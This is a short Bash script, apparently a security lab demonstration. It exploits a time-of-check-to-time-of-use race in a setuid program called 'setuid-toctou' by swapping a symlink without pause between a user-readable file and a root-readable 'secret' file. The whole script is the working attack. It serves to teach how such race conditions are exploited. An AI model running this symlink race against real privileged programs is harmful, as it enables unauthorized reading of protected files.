18 lines
422 B
Bash
Executable File
18 lines
422 B
Bash
Executable File
#!/bin/bash
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#
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# Launch this script and then start
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# while true; do ./setuid-toctou ./symbolic_link ; done
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set -u
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set -e
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curdir=`pwd`
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if [ ! -e ./setuid-toctou ]; then
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echo "program <setuid-toctou> not found. wrong directory?"
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exit -1
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fi
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while true; do
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ln -f -s ${curdir}/hello ./symbolic_link # link to a user-readable file
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ln -f -s ${curdir}/secret ./symbolic_link # link to a root-readable file
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done
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